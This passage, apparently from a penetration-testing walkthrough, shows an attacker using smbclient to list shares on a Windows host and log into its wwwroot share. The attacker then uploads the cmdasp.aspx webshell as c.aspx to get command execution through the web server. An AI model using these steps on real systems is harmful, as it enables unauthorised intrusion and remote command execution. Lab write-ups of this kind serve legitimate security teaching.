smbclient -L //10.0.0.6 -U spotWARNING: The "syslog" option isdeprecatedEnter WORKGROUP\spot's password: Sharename Type Comment-------------------- ADMIN$ Disk Remote Admin C$ Disk Default share CertEnroll Disk Active Directory Certificate Services share IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share temp Disk tools Disk transcripts Disk wwwroot Disk
Logging in to the wwwroot share:
attacker@local
smbclient //10.0.0.6/wwwroot -U spotWARNING: The "syslog" option isdeprecatedEnter WORKGROUP\spot's password:Try "help" to get a list of possible commands.smb: \> ls . D0 Sat Aug 2516:57:522018.. D 0 Sat Aug 2516:57:522018 aspnet_client D 0 Tue Jul 3120:11:202018 iis-85.png A 99710 Tue Jul 3119:35:482018iisstart.htm A 3 Tue Jul 3119:38:232018
Uploading a webshell into the wwwroot:
put /usr/share/webshells/aspx/cmdasp.aspxc.aspxputting file/usr/share/webshells/aspx/cmdasp.aspxas \c.aspx (341.8 kb/s) (average 341.8 kb/s)smb: \> ls . D0 Sat Aug 2516:59:472018.. D 0 Sat Aug 2516:59:472018 aspnet_client D 0 Tue Jul 3120:11:202018c.aspx A 1400 Sat Aug 2516:59:472018 iis-85.png A 99710 Tue Jul 3119:35:482018iisstart.htm A 3 Tue Jul 3119:38:2320186463487 blocks of size 4096. 3032260 blocks available
Same as above in a picture:
Attacker can now access the newly uploaded webshell via http://10.0.0.6/c.aspx and start executing commands: